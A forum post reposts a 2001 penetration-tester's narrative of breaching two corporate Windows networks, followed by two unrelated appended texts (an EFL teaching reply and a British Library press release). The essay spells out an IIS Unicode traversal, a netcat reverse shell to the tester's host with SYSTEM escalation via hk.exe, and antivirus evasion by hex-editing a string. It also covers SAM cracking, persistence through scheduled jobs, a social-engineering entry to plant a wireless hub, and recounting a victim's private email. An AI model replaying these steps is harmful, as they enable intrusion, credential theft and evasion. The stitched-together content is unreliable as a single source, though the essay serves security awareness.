text:
this is kind of dated, but for people new to intrusions, I think it does a good job explaining it. Also, we can add more to update it a bit.
Autopsy of a successful intrusion (well, two actually)
By Floydman
Computer Security consultant, Bachelor in Computer Sciences and amateur researcher
August 30th, 2001
You can distribute this document freely, as long as no changes are made to the file, or as long as credit for it is not pretended by someone else. All comments and suggestions about the material presented here should be directed at email@example.com. If future versions of this document include add-ons coming from other people than me, then proper credit to the various authors will be clearly identified. All version updates of this document are to be released by me.
You can find it online at http://www.geocities.com/floydian_99/
This paper consists of the recollection and analysis of two network intrusion that I have performed as part of my duties as a computer security consultant. The name of the company I worked, as well as their customers that I hacked into, will remain anonymous for obvious reasons. The goal of this paper is to show real life cases of what computer security looks like in the wild, in corporate environments. I will try to outline the principal reasons why these intrusions were successful, and why this kind of performance could be achieved by almost anybody, putting whole networks at risks that their owner don't even begin to realize yet.
It's been over a year now that I delved into computer security. Before that, I was doing computer support and server admin on various platforms: DOS, OS/2, Novell, Windows. I have always been kind of a hack, but I never realized it until I had enough free time ahead of me to start studying the hacking scene and the computer security industry more in depth. That is how I started writing whitepapers, and that I was eventually invited to a conference to present some of my work. But I didn't want to have problems with the law, and I was short on ressources (money, boxes, bandwidth), so I limited myself to keeping tracks of new vulnerabilities and understanding how they worked without actually having the opportunity to try them on a real machine. So when I got this job and they asked me to try to hack these networks, I was really anxious at what I could really do. After all, I can't be worse than a script kiddie, can I?
Targeted audience
This document is presented to anyone who has interests in computer security, network intrusion, hacking, viruses and Trojan horses, network administration and computing in general.
Table of contents
1. Introduction
2. Technical background of the hack
3. The first victim
4. The second victim
5. The autopsy of the two hacks
6. Conclusion
Appendix A. Ressources
1. Introduction
What I am about to describe here is the complete story of two successful network intrusion, where we (quickly and rather easily) had complete access to everything. These two networks are the same kind of networks that get infected all the time with I Love You, Melissa, Anna.Kournikova, Sircam only to name a few.
The people who runs these networks, and the people who own them, can't keep ahead with plain viruses (for another sample of this, read "Virus protection in a Microsoft Windows network, or How to stand a chance"), let alone with a dedicated intruder that will hopefully be smart enough to hide his tracks (but even that his not even to be a requirement soon if it keeps up like that, as we'll see later).
And these are networks owned by (apparently) respected big corporations, and were equiped with firewalls and antivirus software. And they still wonder why e-commerce never lifted up to expectations?
2. Technical background of the hack
Both networks were based on Microsoft systems, which is not that surprising since it is the most (and by far) used platform in corporate environments, especially on the desktop area. Both intrusions were made over the Internet with tools freely available on the Internet.
They used vulnerabilities that were known for quite a long time, and we sometimes had to use a bit of imagination to do the rest.
If you are a Windows NT/2000 admin, what you are about to read should scare you to hell. If you are a malicious hacker that does this kind of thing for a living of just plain fun, you probably know all this stuff already.
But you'll probably still want to read on to have a good laugh.
Both intrusions followed the same methodology, similar to those of a typical intrusion, which is gathering of information, analysis of the information, research of vulnerabilities, and implementation of the attack (we didn't have time to test on one of our machines, but that didn't matter), repeat.
Both attacks were done from our facilities using our dedicated ADSL line over the Internet. One of the intrusion involved going undercover physically onsite at the customer premises to plant a wireless hub on the network. A laptop equipped with a wireless network card was also used to link with the hub momentarilly, to avoid detection.
Some of the tools used were:
SuperScan : to scan classes of IP address to determine open ports
CyberKit : this tool lets you do IP infomation gathering (DNS lookups, traceroute, whois, finger)
nc.exe : NetCat, ported to Win32. This program lets you initiate telnet connections on any port you want
hk.exe : program that exploit a vulnerability in the Win32 API (LPC, Local Procedure Call) that can be used to get System Level access
net commands : these should be known to all NT admins (net view, net share, net use, etc)
a hex editor : these programs let you edit binary files in hexadecimal/ascii format, a bit similar to notepad for text files
l0phtcrack : this software lets you crack the NT passwords file
whisker.pl : this script will scan webservers for known vulnerabilities, along with instructions on how to expoit them
EditPad Classic : this is a Notepad Deluxe, where we gather the information collected during the hack
and other tools that I forgot that were part of the NT Ressource kit or that I will mention later in the text.
Sugar input was provided with a supply of M&Ms and coke (the drink, not the sniff).
3. The first victim
Pseudonym : XYZ Media Publishing Corporation
Type of company : Big Media Corporation (TV, radio, newspapers, magazines, record company, don't they all do that nowadays?)
Time allowed to hack : 3 man/days
Goal : penetrate the network as far as possible and get evidence of intrusion
So I start with the beginning, making DNS lookups on their IP classes, whois requests and port scan the IP addresses of the company's main website as well as the subsidiaries websites. It turns out that there are over 140 machines publicly exposed to the Internet (web servers, DNS, mail, B2B), mostly Windows NT machines, with a couple *nix in the lot.
A quick header scan of the web servers show effectively a mix of IIS 3.0 and 4.0. Now, the problem is to figure out where to start. Let's start with the obvious, the main website (NT 4.0 IIS 4.0). A quick check at the Bugtraq archive at SecurityFocus shows me that the "Directory traversal using Unicode vulnerability" is still quite popular (especially by script kiddies who uses it to perform website defacements), even if it's been out for about a year already.
Especially since there is a new variation every couple of weeks or so. So I fire up my specially crafted hacking tool, MS Internet Explorer (sarcasm directed at medias covering hacking incidents). Basically, if you know how to browse the web, you know how to hack a IIS server.
The directory traversal vulnerability works by fooling the web server to give you content located outside of the web directory that it is supposed to be limited to. By default (which must cover anything between 50%-90% of the installed base), the content served by the server is located at C:\Inetpub\wwwroot.
So, instead of requesting the document http://www.victim.com/index.html (that correspond physically on the server to the file C:\Inetpub\wwwroot\index.html), you request something like http://www.victim.com/../../index.html, which will request the file C:\index.html.
Of course, index.html doesn't exist on C:\, but that doesn't matter, since from there you can request any file that you know the location of, based on a default install. Things that come to mind is the cmd.exe program, that you can use to issue commands on the web server as if you were sitting there and typing in a DOS box.
I have to say at this point that the vulnerability doesn't work like I said, but that was a simple explanation of how it acctually work. To exploit this, you need rights to execute code,and you have to change the /../.. with the Unicode equivalent. So instead of requesting cmd.exe from C:\Inetpub\wwwroot, we'll do it from C:\Inetpub\wwwroot\scripts, which then requires another layer of /.. .
As for Unicode, let's just say that it is simply a computer code a bit similar to the ASCII code that Windows NT uses. We use it to translate some of the ../, because IIS will filter your request out otherwise. So, if I want to do a "dir c: /s" command on the server, that means that I have to request /scripts/../../../winnt/system32/command/cmd.exe with dir c: /s as a parameter.
We launch this command by typing the following in your browser and pressing [Enter]:
Notice that + replaces the [Space] character in your commands, and ?/c+ is required to pass parameters to cmd.exe. %1c%pc is the Unicode equivalent to /.. (other equivalents may work, see the Bugtraq entry about this vulnerability for more details).
So now we have in our browser window a complete listing of all files present on the C: drive of the server. We can do the same thing for the D: drive, to see if it's present, and if it is, do it for the E: drive, and so on. The idea is to gather up as much information about the machine as we can get. At this point, we know enough to see what software runs on the machine, where the data is located.
Notice that at this point, we could start to issue ping commands or net commands to try to map to any internal network the server may be talking to, but issuing these commands with the web browser is not really convenient. So we're going to get a real command prompt.
First, I set up a FTP server (no anonymous access, of course) on my laptop and put my tools in the main FTP folder. Namely, I put nc.exe and hk.exe and a couple from the ressource kit. Then I use the FTP utility conviniently waiting where I expect it to be for me to initate a connection to my laptop and fetch my tools.
Since the FTP program is interactive and that I can only issue commands via the web server, I have to make a FTP script on the server. To do this, I simply issue echo commands redirected to a text file, using the directory traversal vulnerability.
I check out my script with my web browser one last time to make sure there I made no mistake, and then I launch the FTP session, assuming that the firewall permits this kind of traffic. And it does.
Once this is done, I will use netcat to have a command prompt on the webserver. Netcat is a very useful networking tool that you can use to communicate via any port, and spawn a shell prompt. nc -h will give you these options:
C:\nc11nt>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
So I will launch netcat in listening mode on port 53 (also used by DNS, allowed by the firewall) on my laptop, and launch a netcat connection bound to a command prompt from the webserver to my laptop (using the brwoser once again).
In my DOS box
nc -l -p 53
and it hangs there...
And the hung DOS box gets:
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.
Voilà, I have a prompt. I use the whoami command from the NT Ressource kit, to find out with disappointment that I am only INET_IUSR/Anonymous, the anonymous Internet user account. So the web server doesn't run on the Administrator account.
That means that I still can't reach the NT password file (also called the SAM database) because of the restricted access. No problem, I think, I'll just initiate another telnet connection using another port (23 Telnet, why not?) by using the hk.exe tool.
This tool uses a vulnerability involving an undocumented API call (NT_Impersonate_thread or something like that) that lets a thread (a part of a process running in memory) get the token (a security attribute that defines what security level a thread can run, user space or kernel space) of a kernel thread (LSASS or equivalent).
To use this tool, you simply type hk followed by any command you would want to run if you had NT AUTHORITY/SYSTEM level privileges (this is above the Administrator account privileges). So I type
hk nc -d -e cmd.exe my.IP.address.ADSL 23
Bad command or file name
What the?!? I make a dir command, and true enough I don't see any file named hk.exe. Did I forget to download it before? I make another FTP download (using the script again because interactive FTP sessions over a netcat connection doesn't work too well), and sure enough I see the file being downloaded from my laptop. I make a dir command again, and the file still isn't there.
So I go to C:\ and make a dir hk.exe /s, and what do you know? It's in the C:\Program Files\Antivyrtec Associates\Antivirus\Quarantine\ folder. Damn, the stupid antivirus caught my file. How can I get root without it?
Most antivirus products work by matching byte streams of known viruses and other malware to the programs and files your computer uses. If a match is found, then the file is most probably of dangerous nature, and the antivirus prevents the user from opening it.
Ploymorphic viruses uses a flaw in this strategy by modifying themselves every time, making it difficult to identify a reliable byte stream in the virus code that can be used to clearly identify it. Can I also use this flaw to my advantadge? Of course. Actually, that day, I have lost a lot of respect towards antivirus products seeing how easily it was to circumvent it.
Using a hex editor (I don't remember which one, but ther all do pretty much the same), I opened hk.exe. What I now see is all the binary code of the executable, shown in an hexadecimal representation. On the right hand side, we see an ASCII representation of each byte of code.
Since this is compiled code, it is pretty hard to modify anything in there without screwing up the program and making it useless. Especially since we don't know what bit pattern the antivirus software looks for, and that I know nothing in reverse-engineering.
The only thing editable in the program is a small section where we can actually read the message displayed by hk.exe when it successfully executes (something like "Your wish is my command, master"). What the heck, let's change that and see what happens.
So I replace the string with XXXX XXXX XX XX XXXXXXXX XXXXXX, and rename the file hk2.exe (which is why I don't remember the exact string, now I only care to use hk2.exe). A quick FTP download later, and I make a dir command to see if it's detected.
The file is waiting there where I put it, undetected from the antivirus product. I was ashamed of that antivirus company, that will remain nameless. In the marketing hype, they all state that they scan for streams of bytes in the files it scanned, but it turns out that they actually scan for streams of TEXT.
That was a big desilusion for me. I think I can write a better virus scanner in Perl than the big behemoths of software antivirus are these days.
So anyway, I open another DOS box on my machine and I initiate a new listening connection on my laptop
nc -l -p 23
and I type the command
hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
on the active netcat on the webserver and we get:
hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
lsass pid & tid are: 50 - 53
Launching line was: nc -d -e cmd.exe my.IP.address.ADSL 23
XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort suceeded
(On the listening DOS box)
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.
At this point, I see no reason to keep the first netcat connection, so I kill it. I am now in complete control of the web server and I can do whatever I want on it. I start to upload the SAM database on my laptop and I start cracking it with l0phtcrack, using a dictionnary attack first, then a brute force attack to uncover the few passwords left, if any.
While the passwords cracks, I continue my investigations of my newly owned machine. I issue the ipconfig command, and I see the IP addresses of the two network interface cards installed on the machine. The IP address on one of the NIC is effectively the public IP of the web server.
The other one bears an internal IP address, and a few pings and net commands later, I have a complete list of the NT Domains, PDC, BDC, Servers. I could talk to the whole internal network! Using some of the usernames/passwords that I cracked, I could go in any domain and from there connect to any workstation.
With net accounts, I saw some administrative accounts that I have guessed the password (backup/backup, admin/admin, test/1234 for example). Seeing my progress, a colleague offered to try to get inside from the website of a subsidairy, while I continue my exploration via the main one.
Using the same techniques described above, he got inside the internal network of the branch. But from where I was, I could tell that I had access to his part of the network, but also to the other subsidiaries, while he would have to go up to where I was before reaching to others. So we ended there the second intrusion right there as we were already in the City of Gold.
As I hopped from one workstation to another, from server to server, I kept making dir c: and dir d: images, downloaded files in various interesting folders (marketing, HR, finance, IT, production, contracts, budget, etc), along with a couple Outlook mailboxes, which tells me that I could probably use the flaws in this software to send a custom virus to take control of a machine, but why bother?
I already had access to everything: network maps, list of software approved by IT, standard configuration of a desktop, resumes from applicants, budget of last and current year of various departments, production status reports, finance reports, company acquisition plans and contracts, full employee lists, with phone number, e-mails and salaries, layoff severance documents, full calendar appointments of some management people, along with their mailboxes, which also showed up some interesting things.
I will always remember this e-mail I read that the guy I hacked into received from one of his friends. In the e-mail, the friend tells to my victim all the good times he had while on vacation in Spain, and how he loved doing that venezuelian prostitute who apparently had **** to remember for a lifetime.
And in the next paragraph, he invites my victim to his own wedding in the upcoming months, with his girlfriend that he apparently loves very very much. Sometimes, human nature makes me wonder...
We were about to run out of time, since my three days were almost run out. Let's not forget that I had to write a report after that, and that the customer only paid for such amount of time. But there was still a little piece of the network that I couldn't get access to.
It was refusing any connection attempt from any domain that I already had control of. That was a separate NT domain, on its own IP class C network, with very restricted access, probably accessed only by the board of directors if I rely on the domain name.
No password that proved useful before would work. A port scan showed me that there was a web server on this network, and I knew it was a NT server, and most probably running IIS 4 as well. But how can I launch a web request from a DOS prompt in order to hack the server like I did the first one?
I could probably make a tool someday, but I definetely don't have this kind of time on my hands right now. I see the gold, I want the gold (even though I have plenty already), and I am willing to take a big risk of being discovered in reason of the time of the day (around 10:00 AM) to get it. I will initiate a Winvnc connection.
Winvnc works a bit like nc, but instead of giving a simple command prompt, it give full access to the graphical user interface (GUI) as if you were sitting in front of the machine, the same way as PCAnywhere does. This have the side effect that a person sitting in front of the machine will see all your actions, which means that you have been spotted.
In my case, I had nothing to lose, so the plan is to download Winvmc on the machine I currently own, initiate the GUI connection from there, and then use the browser installed on the web server to launch a similar attack to the intranet server using the directory traversal vulnerability.
From there, I hope to be able to find some usernames and passwords that I can use to gain access to the protected machines in the same fashion as to what I had done so far. So I initiate the Winvnc session, and surprise, I see right in the middle of the screen two pop-up warnings from the antivirus software, generated from the two unsuccessful downloads of hk.exe, 2 days ago.
So I click OK to remove any visual evidence of my presence, and I proceed to clean my presence a bit, deleting all the stuff that I won't need anymore. I also notice some of the NT Res kit that I used in another folder that was not mine. That made me wonder if it was the admin who conveniently installed it there for anyone to use, of if it was the belonging of another intruder. Who knows?
I was about to launch IE in order to finish my attack quickly and return to the stealthier DOS command prompt that a second surprise happens: Notepad opens up with a message saying "who r u?". I knew I could be spotted, and I have been spotted.
The spelling of the message makes me wonder if I am dealing with a IT professional or a script kiddie here, but a quick look at the processes running on the machine (ps.exe from the NT Res Kit) shows me that he is connected via a PCAnywhere session, so it's probably a tech support, but he's not in front of the machine.
So I write "God" in the notepad message, give him about 5 seconds to read my reply, and then I kill his connection (kill.exe). Then I quickly erased the rest of my files on the machine, and killed my session while I was laughing hard with a colleague beside me.
Too bad that I missed that last vault, and that I have been spotted, but if I wasn't only a guy doing his job, working 9-5 because I also have a life, and under an artificial schedule, I would have cracked it, undetected.
A dedicated corporate spy or malicious hacker would have done this at night, and would have been completely undetected for as long as he wants.
4. The second victim
Pseudonym : Trust-us e-commerce inc.
Type of company : e-commerce company, implements B2B and B2C solutions for businesses
Time allowed to hack : 3 man/days
Goal : penetrate the network as far as possible and get evidence of intrusion
So my first impression of a big corporate network (from my previous work experience at a telecommunications company, see Virus protection in a Microsoft Windows network, or How to stand a chance) from the security point of view proved to be true with my successful and easy network intrusion I had done for XYZ Media Publishing Corporation.
I was anxious to see how I would fare against an e-commerce company. I was curious to see if they really cared about security, given their area of expertise.
So the hack started pretty much the same way as the first one: DNS lookups, whois, portscan, etc. It turns out that there's about 5 or 6 machines reachable via the Internet. 2 *nix DNS servers, 1 Exchange mail server, and a couple IIS machines.
These machines are all firewalled and only allow very specific traffic : http, https, DNS, SMTP. But remember that if one of these services is vulnerable, it can be exploited and the firewall won't be effective at blocking the attack.
I issue a whisker scan on the webservers to see if there's any known vulnerabilities on the web server itself, and in the cgi programs as well.
The machines turns out to be pretty secure, even if they are NT boxes. The server appears to be patched up to date, and non-necessary services have been removed from IIS (such as idq requests, asp pages, default sample pages).
So I can't use the directory traversal vulnerability on this one. I try to screw up with some invalid requests in the cgi programs, trying to see if I can provoke any unnexpected results that could give me a hint. I also try to log on the customer login page, trying to see if there's any test accounts left.
Nothing goes. As far as what was known at the moment, these machines were unbreakable considering the timeframe I had and the knowledge available to me (I don't know UNIX, and didn't have the time to learn it and crack the *NIX boxes, who was probably tight anyway). So we had to take another track.
We had received some new toys a couple of weeks before, and we couldn't wait to try them in the field. We had a wireless hub and a pair of PCMCIA wireless network cards. I don't know how much this equipment costs, but it shouldn't run above 2-3 k$, probably less.
Not exactly cheap, but not unnafordable to individuals. So we decided to attempt a physical intrusion in their offices and plant the wireless hub on their internal network and see what happens next. We were three persons to do this operation, but it could have been achieved by only a single person.
We thought a bit about doing a masquerade and pretend that we were from the phone company or something, all along with the uniforms and even a line tester that makes bip-bip sounds that are sure to convince any non-technical person unfamiliar to this kind of equipment.
We even had the floor plan, that my boss asked to the facilities management guy (those who manage building services). He gave the plans to my boss without asking any ID or whatever, my boss simply told him that he was working for Trut-us e-commerce inc, and that was it!
My boss was even left alone in the facilities guy office for about half an hour, even time to give him the opportunity to take a peek or two, or steal one of the uniforms hanging by the door if he wanted to.
But instead, we chose a simpler course; simply walk in dressed casual (average employee age at Trus-ut is about 25-30) and pretend to belong there. The company is quite new, and they are hiring new staff, so it's quite normal for a place like this to see new faces.
So the plan was to have one person walk in the offices, avoiding the main entrance of the offices if possible, to avoid the receptionist desk, and put the wireless hub on the network, in a free LAN jack in the photocopier room (as we could see from the floor plan).
And to collect any valuable data the onsite visit can provide. In the meantime, another colleague would be sitting in a toilet stall with his laptop equipped with the wireless network card and try to get access to the network. If he proved successful, he would iniate a netcat connection from one of their machines to my laptop, and then leave the premises.
As for me, I will be at our offices, hooked up on the ADSL link, and waiting for the netcat connection to come to me. Once I get the connection, the first thing I will do is to make scheduled jobs that will re-initiate a new netcat connection, in case my current connection drops for any reason. That way, we won't have to go back on site just to get a new connection.
And that's exactly what happened! My first colleague got in from the door beside the staircases, going inside with other people that were coming back from a cigarette break. He went to the photocopier room, and plugged the wireless hub to the network, and hid it behind some boxes.
After that, he walked across in the offices, a lot of cubicles being empty, as the company had plans for growth. He said "Hi!" to a couple of persons who were having a conversation. He found an employee list on a desk, with all the phone numbers and positions in the company.
He went back to the photocopier room, and made a copy. He also looked for other stuff, but it was hard to figure out what paper documents are about without looking suspicious. So after half an hour, he simply took the hub back with him and left the premises.
Meanwhile, colleague #2 is in the bathroom stall with his laptop. He waits about 5 minutes to give #1 enough time to plant the bug. Then he boots up his machine and he automatically gets an IP address from the internal network DHCP server.
That's a good start! It takes him no time to take control of an internal web server to launch the netcat connection to me (with full SYSTEM/NT_AUTHORITY privileges, of course).
While I put my scheduled jobs on this machine to keep a point of entry, he goes on an exploration tour of the rest of the network, stops in a couple workstations to download some files, and leaves after 15 minutes, after making sure with me that everything was under control on my side (using a text file to send messages to each other).
As for me, I started doing the usual stuff, downloading the server's SAM file, cracking it, exploring the contents of some workstations, visiting the servers and the PDC/BDC getting these SAMs also.
I downloaded some of their website source code, looked a test systems, and the customer database, etc. I could see that there were firewalls between some of the internal network segments, but all netbios ports were allowed, since these machines were all part of the same NT domain.
I accidentally killed my session, but it came back to me exactly when I expected it, so I could continue without any problem. At the end of the day, our mission was done.
Again, we were three persons to implement this attack, but this could be done by a single person. We only had one day left to perform the intrusion, so we had to be efficient and well prepared.
But a single well prepared person, having no other schedule than his own, could have easily walked in the offices, plant the hub on the network, go in the bathroom, schedule hk2 netcat sessions at specific times, and go home and simply wait for the connections to initiate. Then he is free to do all he wants.
5. The autopsy of the two hacks
My goal with this paper is not to give a hacking cookbook to script kiddies so they can screw up big corporations real big instead of just defacing their websites. Neither is it to promote network intrusions. My goal is to give a reality check to the IT industry, and to the companies that employ them, about the situation regarding network security.
To show how easy it is, and the impact on a business a security incident like this could cause. Having all the information that is available, a malicious person have limitations restricted only to his imagination (BTW, blackmailing is very unimaginative).
My goal with this paper is also to outline why these hacks were so easily successful, in order to understand why this could happen in the first place.
Only then will we be able to define corrective actions. So it is in this chapter that we will make the autopsy of these hacks, and find out what problems these companies, and many others, are facing.
In the case of XYZ Media Publishing Corporation, the problems are numerous, and do not simply involve technology. First of all, I made a lot of mistakes when I hacked this machine (the webserver), learning curve and all...
For example, I did not erase the evidence of my intrusion in the IIS log files. A kiddie would probably have tought to erase to whole file, but an experienced intruder would have only deleted the entries belonging to him, to leave has little trace as possible.
Not that it mattered in this case, because nobody looked at the log files. They only checked when they received my report, and they were astonished at how much noise I made that went undetected. Worse that that, there was 2 visual antivirus pop-ups (hk.exe) on the server's screen showing for 2 days without anybody noticing it, or actually they saw it, but didn't bother to care about it!
But wait, there's more: the tech that spotted us while we were in a Winvnc session didn't even bother to report the incident to anybody!
With this kind of security awareness, then what follows is not hard to understand. And the medias are still amazed at Code Red and Sircam type of stuff.
Another problem is the lack of experience of their IT staff. It is well known that these big corporations, in order to be cost-efficient (i.e. as cheap as possible, to keep shareholders happy), centralize their support to reduce costs, and doing so will hire those who costs less, who happens to be the less experienced on the market.
I took a good look at the resumes of their staff, and it tends to confirm my theory. Most of them didn't even have a college degree, even less a university degree. They had a computer support course and a MCSE from a specialized school, in a word, they were green.
These people knows only as far as what they have been shown, and will click were they learned to click, without any understanding of the concepts or implications of what they have just done. This is a direct effect of the big boom in the IT industry during the 90's.
The demand was too high compared to the offer, so the industry had to generate more workforce, and doing so rushed out of schools diplomed computer illeterates to take care of the IT infrastructure of the nation's networks.
Many people, having no or little computer experience, seeing the good salaries in IT decided to simply make a carreer change.
It isn't rare these days to see someone of worked in a textile shop become a NT administrator in less than a year!
So this company is plagued by this problem, they couldn't (wouldn't) retain experienced staff, who would have enough working experience and knowledge to take the security aspect in question and raise flags when needed.
This leads to the third problem, directly generated by the precedent one, which is the presence of unpatched, highly vulnerable servers on the Internet.
And their problem is about 40-fold, since XYZ Media Publishing Corporation is really about 40 smaller companies, all owned by XYZ Media Publishing Corporation, and each of these companies have the same problem, and all requires urgent security measures. $$$
The fourth problem, in the same vein, is a really bad network architecture. XYZ Media Publishing Corporation cared enough about its network to at least put firewalls at each internet entry points.
All serious firewall products include the possibility to have a DMZ, which is a separated part of your network, designed to receive the public access machines like a web server or a mail server.
The idea is to keep these machines separated from the rest of your internal network. Since these servers are exposed to the Internet, than means that anyone can potentially compromise the server.
The role of the firewall is to deny all access from the DMZ machines to the internal network, because these machines cannot be trusted and a connection initiated from one of these machines means that the machine as most probably been cracked.
That way, you protect your internal network from Internet exposure, have your pulic servers, and make sure that the servers can't be used to access the internal network. In the case of XYZ Media Publishing Corporation, the picture was quite different.
Both webservers that we layed our hands on were connected straight to the internal network. Even better, they were part of the NT domain architecture, which means that we could easily probe the PDCs for useful information about the internal network, and to authenticate.
The fifth problem afflicted both companies, and is spread everywhere in the networked corporate world, and it's the fact that the internal network, and especially the workstations, are completely unprotected.
Many of the PCs have open shares, not even protected by a password (which could be broken anyway, especially on a Win 9x machine). Passwords are weak and easily broken.
ACLs are rarely implemented on NT workstations, are implemented in the data portion of the servers (to prevent people to access other people's files), but not on the system portion, which means that anyone can grab the passwork file and crack it later.
Antivirus are often out of date, even if auto-update features are now a common thing, and even if they were up to date, they can be easily circumvented. Let's just say that if your only protection is an antivirus product, then you shouldn't even bother to install it.
The sixth problem is the one that caught Trust-us e-commerce inc. pants down. Being an e-commerce company, they were serious enough about it to take good care of their systems. The ones exposed to Internet, that is. So besides having their internal systems completely open like XYZ Media Publishing Corporation, their physical security was inexistant.
Beginning with the guy who manages the building who gives us the floor plans! He even offered to give us the plan of other floors. Then, it was easy to go inside the offices without being challenged by anyone, forcing the intruder to think quick and bullshit his way out, with the chance that he makes a mistake and give himself away.
The floor had many access doors besides the main entrance, guarded by the secretary. There's no badge or ID or anything to differentiate an employee from an outsider.
That was their weak spot. Ironically, I would say that XYZ Media Publishing Corporation was more protected in terms of physical security, but it could still be easy to bullshit his way inside and plant a bug. Especially since their network is over several different locations.
Then, there is the little security awareness from corporations high management.
The finance director of XYZ Media Publishing Corporation was all shocked to see the results of my intrusion attempt, as he firmly believed that their network secure. Then, in true beancounter style, he complained about the amount of money they paid for the firewalls, that proved to be useless after all.
But this guys only understands dollars, not technology. Is it possible to achieve a secure computing environment connected to the Internet without firewalls?
Absolutely no, of course! But are they sufficient in order to securise the computing environment only by themselves? The answer is no again. But he thought that by simply buying an expensive band-aid, that would solve all their security problems. Which leads me to the last problem I can identify in this autopsy.
Pretty much like the IT industry growth of the 90's and the Y2K rush that later mutated in e-commerce, the computer security industry is also being the victim of a "gold rush effect".
Since the enormous size of the vulnerable computing base in corporate IT, it is not hard to see a high revenue potential for any skilled business man. It is not rare then to see small professional security firms being purchased and merged with bigger IT companies, that were mostly in the MCSE business before that (what a surprise).
Instead of seeing the knowledge of the security firm being applied the the MCSE shop's procedures, in order to increase the value of the services they provide, and thus doing better than the competition (which should get you to increase your market share and revenues), they want to keep the security department from bashing too much on Microsoft, because they are a business partner, and it isn't a good thing to bitch against a partner, because it might piss him off.
Also, the MCSEs didn't appear to like to hear that they were not as competent as they thought they were, so we had to quiet down.
So, in the process of company growth, the security firm hires new consultants, fresh out of school, with no or little previous IT experience, that they form into certified firewall installers. During this time, the more experienced security consultant are asked to keep quiet, failure of which could lead to demotion, or simply shown out the door.
Of course, some others will not necessarily wait that long before leaving for greener pastures (where did I see this pattern before?). This has the effect of lowering the overall quality of the services provided by this firm, and will only maintain the present unsecure state of today's networks. And these people then say that security consultants don't understand the business side of a security project.
6. Conclusion
The cases I have covered here are real life cases, nothing have been added for dramatic effects. I know that it is not all networks that are this vulnerable, but let's be serious, secured networks are the exception, not the norm.
The norm, it is what is explained in this paper. This is even worse than a worm that walks across webserver to webserver (although Code Red II made it interesting by backdooring the servers it infected in order to make it even easier than what is shown in this paper to hack the machines) or an e-mail virus that send files out.
These problems are also serious enough to take care of, but it's only the tip of the iceberg.
Now, with all the desinformation going on, attempt by companies to shut down free speech concerning computer security research and related topics, up to the point of arresting a russian programmer this summer for writing a "circumvention decice", and all the other abuses of the DMCA, I wonder what will happen to me and this paper.
Will I be arrested for showing out how to "circumvent a security mecanism" by fooling the antivirus? This may seems like a dumb and ridiculous joke pointed out to the spooks out there, but to tell you frankly, I see hackers as being the target of the new witch hunt of the 2000's.
It is sad, because they are the very same people who built this wonderful network that is Internet, and they are the people who can most contribute to its securing, by doing research and sharing information.
But the thing is, and it should be obvious by now to the reader, that the systems out there are massively and highly unsecure, and stopping people talking about these issues, and keeping the public in ignorance by putting fear into them fueled by mass-medias hysteria is not gonna help.
In order to solve these issues, priorities will have to be made, and those who choose the right priorities are probably those who are gonna win in the long run. In the meantime, anything can happen.
Appendix A. Ressources
Big security site and host of the Bugtraq mailing list
Britney's NT hack guide
Guide to hacking NT and IIS
Rain Forrest Puppy
Home page of Rain Forrest Puppy, discoverer of the Unicode directory traversal vulnerability, and author of Whisker
Search engine for security related websites, tools and articles
Web search engine, useful to look for hard-to-find stuff like hk.exe


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Teaching English as a foreign language is very different from teaching secondary English. The skills are only partially the same. I have known a number of teachers of secondary English fail when attempting to teach EFL.
I am not certain you are qualified to take DELTA as, if I remember correctly, it requires you to have 1,200 hours of teaching English to adults in order to be eligible. Also I'm not sure whether or not that experience needs to be in an EFL context. If you want to work in universities I would advise you to do the MA TEFL which in any case includes much of the DELTA. If not, then CELTA or Trinity TESOL. There is a general shortage of EFL teachers so finding work is not usually a problem.
English Teacher

subset: commoncrawl


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My report on the Who Do You Think You Are Live event briefly mentioned projects which will provide online access to two types of record held by the British Library, UK electoral registers and BMB records from the India Office.
The following is a press release providing further details:
British Library and findmypast.co.uk to digitise 5 million pages of family history records
- Selections from the India Office Records and a century of electoral registers will be made available online
The British Library and family history website findmypast.co.uk are to digitise a treasure trove of family history resources held by the Library, making them available online and fully searchable for the first time.
The project will involve the scanning of UK electoral registers covering the century that followed the Reform Act of 1832, along with records of baptisms, marriages and burials drawn from the archives of the India Office. When available online, these collections will enable historians, genealogists and family history researchers to make connections and track down details of ancestors and others at the click of a mouse - work that would previously have necessitated visits to the Library's Reading Rooms and many hours of laborious manual searching.
The British Library holds the national collection of electoral registers covering the whole of the United Kingdom. The registers contain a vast range of names, addresses and other genealogical information.
"Digitisation of the electoral registers will transform the work of people wishing to use them for family history research," said Jennie Grimshaw, the Library's curator for Social Policy and Official Publications. "Printed electoral registers are arranged by polling district within constituency and names are not indexed, so the process of finding an address to confirm names of residents is currently incredibly laborious. Digitisation represents a huge breakthrough as users will be able to search for names and addresses, thereby pinpointing the individuals and ancestors they're looking for."
The other holdings included in the large-scale digitisation are drawn from the archives of the East India Company and the India Office. These records relate to Britons living and working in the Indian sub-continent during the eighteenth, nineteenth and twentieth centuries, up to Independence in 1948. They include over 1,000 volumes of ecclesiastical returns of births, marriages and burials, together with applications for civil and military service, and details of pension payments to individuals.
Antonia Moon, curator of post-1858 India Office Records said, "These records are an outstanding resource for researchers whose ancestors had connections with British India, whether as servants of the administration or as private inhabitants."
The partnership between the British Library and findmypast.co.uk followed a competitive tender process and will see five million pages of UK electoral registers and India Office records digitised over the next year. The resources will become available via findmypast.co.uk and in the British Library's Reading Rooms from early 2012; online access will be available to findmypast.co.uk subscribers and pay-as-you-go customers - access to users in the British Library Reading Rooms will be free.
